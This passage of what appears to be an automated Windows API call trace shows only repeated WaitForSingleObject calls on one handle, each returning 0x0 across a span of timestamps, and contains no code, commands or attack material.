dwMilliseconds=0xffffffff) returned 0x0 [0211.239] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.239] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.239] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.239] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.240] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.240] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.240] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.240] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.241] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.241] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.241] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.242] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.242] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.242] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.242] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.243] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.243] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.243] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.244] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.244] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.244] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.244] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.245] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.245] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.245] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.245] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.246] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.246] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.246] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.247] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.247] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.247] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.247] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.250] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.250] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.250] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.252] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.253] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.253] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.253] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.258] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.258] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.258] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.259] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.259] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.259] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.259] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.261] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.261] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.261] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.261] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.264] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.264] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.264] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.939] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.940] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.940] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.940] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.941] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.941] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.941] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.941] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.941] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.942] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.942] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.942] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.942] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.943] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.943] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.943] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.944] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.944] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.944] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.944] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.945] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.945] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.945] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.945] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.946] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.946] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.946] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.947] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.947] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.947] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.948] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.948] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.948] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.948] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.949] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.949] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.949] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.949] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.950] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.950] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.950] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.950] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.951] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.951] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.951] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.951] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.952] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.952] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.952] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.953] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.953] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.953] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.953] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.954] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.954] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.954] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.954] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.955] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.955] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.957] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.957] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.958] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.958] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.958] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.958] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.959] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.959] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.959] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.959] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.960] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.960] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.960] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.961] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.961] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.961] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.961] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.961] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.962] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.962] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.962] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.962] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.963] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.963] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.963] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.963] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.964] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.964] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.964] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.965] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.965] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.965] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.965] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.966] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.966] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.966] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.967] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.967] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.967] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.968] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.968] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.968] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.968] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.968] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.969] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.969] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.970] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.970] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.971] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.971] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.971] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.971] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.972] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.972] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.972] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.973] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.973] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.973] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.973] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.974] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.974] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.974] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.975] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.975] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.975] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.975] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.976] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.976] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.976] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.976] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.977] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.977] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.977] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.977] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.978] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.978] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.978] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.979] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.979] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.979] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.979] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.980] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.980] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.980] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.980] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.981] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.247] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.248] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.250] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.250] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.250] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.250] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.250] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.250] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.251] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.252] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.252] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.252] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.252] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.252] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.252] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.253] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.253] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.253] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.254] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.256] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.257] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.258] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.258] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.258] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.258] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.258] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 